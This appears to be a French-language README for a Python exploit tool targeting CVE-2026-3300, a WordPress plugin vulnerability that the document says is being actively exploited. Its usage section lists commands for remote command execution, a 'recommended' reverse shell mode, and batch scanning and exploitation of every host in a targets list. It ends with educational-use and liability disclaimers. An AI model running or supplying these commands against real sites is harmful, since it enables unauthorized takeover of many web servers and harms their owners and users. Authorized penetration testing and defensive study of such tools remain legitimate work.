CVE-2026-3300 - Wordpress

⚡ Utilisation simple

Utilisez ce projet uniquement dans des environnements sûrs et autorisés, tels que :

• Machines virtuelles locales
• Conteneurs Docker
• Environnements de laboratoire isolés
• Environnements de test d'intrusion autorisés

Exemple de configuration :

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

Exemple d'utilisation :

# Normal command execution
python cve-2026-3300.py http://localhost --mode poc -c "whoami"

# Try different payload types
python cve-2026-3300.py http://localhost --mode poc -p passthru -c "id"

# Reverse Shell (Recommended)
python cve-2026-3300.py http://localhost --mode reverse --listen 4444

# Scan all targets
python cve-2026-3300.py --file targets.txt --mode scan

# Exploit all targets
python cve-2026-3300.py --file targets.txt --mode exploit -c "whoami"

# Reverse shell (single target)
python cve-2026-3300.py --file targets.txt --mode reverse -l 4444

# Test with common field names
python cve-2026-3300.py http://target.com --mode exploit --field text_1 -c "whoami"
python cve-2026-3300.py http://target.com --mode exploit --field email -c "id"

# Reverse shell
python cve-2026-3300.py http://target.com --mode reverse --field text_field -l 4444

Crédit ou Référence

• https://www.wordfence.com/blog/2026/06/attackers-actively-exploiting-critical-vulnerability-in-everest-forms-pro-plugin/
• https://thehackernews.com/2026/06/hackers-exploit-critical-everest-forms.html
• https://sansec.io/research/stripe-api-skimmer-infrastructure

📚 Dépôt de recherche en sécurité à des fins éducatives

Un dépôt pour apprendre, tester et étudier les concepts de cybersécurité dans des environnements contrôlés.

⚠️ Avertissement sur la sécurité et la légalité

Objectif

Ce dépôt est uniquement destiné à la recherche en sécurité à des fins éducatives et autorisées.

Il est conçu pour aider les utilisateurs à apprendre :

• Les vulnérabilités de sécurité
• Les concepts de bac à sable (sandbox) et d'isolation
• Les pratiques de codage sécurisé et de défense

Utilisation autorisée uniquement

Utilisez ce dépôt uniquement dans des environnements où vous en avez l'autorisation, tels que :

• Laboratoires personnels ou machines virtuelles
• Environnements Docker ou isolés
• Tests d'intrusion autorisés
• Formation en cybersécurité ou recherche académique

Toute utilisation non autorisée ou illégale est strictement interdite.

Absence de responsabilité

L'auteur et les contributeurs ne sont pas responsables de tout dommage, usage abusif, problème juridique ou perte causés par ce projet.

En utilisant ce dépôt, vous acceptez que :

• Vous êtes responsable de vos propres actions
• Vous l'utiliserez de manière légale et éthique
• Le projet est fourni sans garantie

Utilisation éthique

Ce projet est destiné à :

• La recherche en sécurité défensive
• L'éducation à la cybersécurité
• La sensibilisation aux vulnérabilités
• La recherche sur les systèmes et logiciels sécurisés

Veuillez suivre les pratiques de divulgation responsable et vous conformer à toutes les lois applicables.

Contact

Pour une divulgation responsable ou une collaboration, contactez le mainteneur du dépôt via GitHub.